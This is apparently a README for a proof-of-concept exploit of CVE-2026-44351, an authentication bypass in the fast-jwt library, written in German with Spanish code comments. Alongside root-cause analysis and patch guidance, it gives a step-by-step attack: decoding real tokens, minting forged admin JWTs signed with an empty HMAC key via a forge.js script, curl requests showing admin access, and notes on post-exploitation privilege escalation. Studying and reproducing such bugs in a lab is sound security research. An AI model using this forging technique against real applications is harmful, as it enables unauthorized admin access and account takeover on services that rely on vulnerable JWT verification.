Proof-of-Concept für CVE-2026-44351, einen Authentifizierungs-Bypass in fast-jwt <6.2.4, bei dem ein leerer HMAC-Schlüssel Angreifern ermöglicht, beliebige JWTs zu fälschen, die als gültig akzeptiert werden.
fast-jwtPoC des Authentifizierungs-Bypasses (auth bypass) in fast-jwt (Versionen vor
6.2.4), der es jedem nicht authentifizierten Angreifer ermöglicht, beliebige JWTs zu
fälschen, die von der Zielanwendung als authentisch akzeptiert werden.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (Fehlerhafte Validierung von Schlüsseln) / CWE-287 (Fehlerhafte Authentifizierung) / CWE-326 (Unzureichende Verschlüsselungsstärke) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Verwundbar | fast-jwt < 6.2.4 (verifiziert gegen 6.2.3) |
| Patch | [email protected] — lehnt leere HMAC-Schlüssel mit FAST_JWT_INVALID_KEY ab |
📄 Detaillierte technische Dokumentation (Root Cause mit echtem Code, Anatomie des Angriffs, Analyse des Patches):
docs/CVE-2026-44351.md
fast-jwt erlaubt es, eine asynchrone Funktion als Schlüsselauflösung (key) zu
übergeben — das typische Muster bei der Integration mit einem JWKS-Server:
const verify = createVerifier({
// patron JWKS estandar documentado por la propia libreria
key: async (decoded) => jwks[decoded.header.kid] || '',
})
Wenn die kid des eingehenden Tokens nicht existiert, gibt dieses Muster '' zurück.
fast-jwt wandelt den leeren String in einen Buffer der Länge null um
(Buffer.alloc(0)), übergibt ihn an crypto.createSecretKey (Node akzeptiert ihn
stillschweigend) und verifiziert die Signatur des Tokens unter Verwendung von HMAC mit
leerem Schlüssel.
Da HMAC-SHA256(key='', input='<header>.<payload>') von jedem berechenbar ist, muss der
Angreifer das echte Secret nicht kennen: Er fälscht ein Token mit den gewünschten Claims
(sub, admin, roles, scopes, iss, aud, …) und der Verifier gibt es als
authentisch zurück.
Betrifft nur den asynchronen Pfad der Schlüsselauflösung (Funktion). Die synchrone Konfiguration
key: ''wird korrekt abgelehnt, dacreateVerifierbei falsy-Werten kurzschließt.
Der Fehler liegt in src/verifier.js. Im Ablauf des async key resolver:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// rama !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (sin control de longitud)
verifyToken(currentKey, decoded, validationContext)
})
Und die Signatur wird mit src/crypto.js validiert:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) funktioniert, der HMAC des Inputs ist vom
Angreifer berechenbar und das gefälschte Token wird akzeptiert.
[email protected])| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ akzeptiert | ✅ akzeptiert | ✅ akzeptiert |
(d, cb) => cb(null, '') | (default) | ✅ akzeptiert | ✅ akzeptiert | ✅ akzeptiert |
async d => keys[d.header.kid] || '' | (default) | ✅ akzeptiert | ✅ akzeptiert | ✅ akzeptiert |
async () => '' | ['HS256','HS384','HS512'] | ✅ akzeptiert | ✅ akzeptiert | ✅ akzeptiert |
async () => '' | ['HS256','RS256'] | ✅ akzeptiert | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
Der Angriff wird manuell ausgeführt: Das einzige Artefakt ist forge.js, das das mit
leerem Schlüssel signierte JWT erzeugt. Das Senden und die Validierung erfolgen mit
curl.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
Docker dient nur dazu, das verwundbare Target auszuführen, nicht zum Ausnutzen. Der Rest des Angriffs ist manuell.
Identifiziere ein echtes JWT der App (zum Beispiel aus einer authentifizierten Anfrage) und inspiziere dessen Header/Payload ohne die Signatur zu validieren:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
Zu validierende Punkte:
kid → die App löst Schlüssel über kid auf (möglicherweise JWKS).kid mit 401 ablehnt, aber kein
invalid algo/invalid key liefert, macht der Resolver wahrscheinlich keys[kid] || ''.node forge.js # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
Das Skript signiert immer den gewählten Header {alg, typ, kid} und den Payload unter
Verwendung von HMAC-SHA* mit leerem Schlüssel (secret: ""), ohne das echte Secret
der App zu kennen.
Mit dem kopierten Token (oder aus der Datei gelesen):
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
Erwartete Antwort, wenn das Ziel verwundbar ist:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| Fall | Befehl | Ergebnis |
|---|---|---|
| Ohne Token | curl -si http://localhost:3000/admin | 401 Unauthorized |
| Ungültiges Token | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| Gefälschtes Token | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + Admin-Zugriff |
Der Bypass ist reproduzierbar, indem man die Claims ändert und die Schritte 2–3
wiederholt (Post-Exploitation: Eskalation zu role, scopes, anderem sub, usw.).
Schneller Vergleich zwischen der verwundbaren und der gepatchten Version:
npm run demo # [email protected] -> token forjado ACEPTADO
npm run fixed # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)
Auch in Docker:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] oder höher: prepareKeyOrSecret lehnt HMAC-Schlüssel
der Länge null mit FAST_JWT_INVALID_KEY ab.''/Buffer.alloc(0) als Fallback zurückgeben:
undefined/null zurückgeben und diesen Fall als Fehler bei der Schlüsselauflösung
behandeln.cache: false verwenden: Der Verifizierungs-Cache (standardmäßig 1000
Einträge / 600s TTL) kann zuvor akzeptierte gefälschte Tokens behalten.Der Server stellt außerdem eine Administrationskonsole (public/) bereit, damit die
Ausnutzung über eine echte App sichtbar wird: Unternehmens-Login, Dashboard mit Claims,
Admin-Zugriffspanel und eine integrierte Red-Team-Ansicht.
node server.js # o de nuevo: docker compose up -d --build server
open http://localhost:3000
Demo-Konten:
| Password | Rolle | |
|---|---|---|
[email protected] | admin123 | admin: true (superadmin) |
[email protected] | user123 | admin: false (member) |
Die App bildet ein legitimes SaaS nach:
POST /login gibt ein JWT aus, das mit dem echten Secret (kid: legit-kid) über
createSigner signiert ist — der Signer ist NICHT verwundbar.localStorage und greift auf GET /admin zu, das
den verwundbaren Verifier verwendet.'' in reinem JS, RFC 2104 — WebCrypto akzeptiert keine
Schlüssel der Länge null) oder ein Token von node forge.js einfügen und /admin
testen. Mit admin: true antwortet es 200 OK → Bypass bestätigt, ohne den Browser zu
verlassen.Das Frontend ist nur Präsentation: Die Schwachstelle bleibt dieselbe (async key resolver mit
keys[kid] || '') und der manuelle Angriffsablauf mitforge.js+curlaus dem README funktioniert weiterhin.
.
├── Dockerfile Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore Excluye node_modules del build context
├── package.json Dependencias: [email protected] (vulnerable)
├── server.js API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js Demo a nivel de librería contra [email protected] (vulnerable)
├── public/ Frontend "app real" (login, dashboard, admin, red team)
│ ├── index.html
│ ├── styles.css
│ └── app.js SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│ └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
├── package.json Dependencias: [email protected] (parcheada)
└── demo.js Misma demo contra [email protected] (parcheado)
Dieses Material dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Verwende den Exploit nur gegen eigene Anwendungen oder mit schriftlicher Genehmigung des Eigentümers. Die unbefugte Nutzung dieser Technik gegen Systeme Dritter ist illegal, und die Verantwortung für ihre Nutzung liegt bei der Person, die sie ausführt.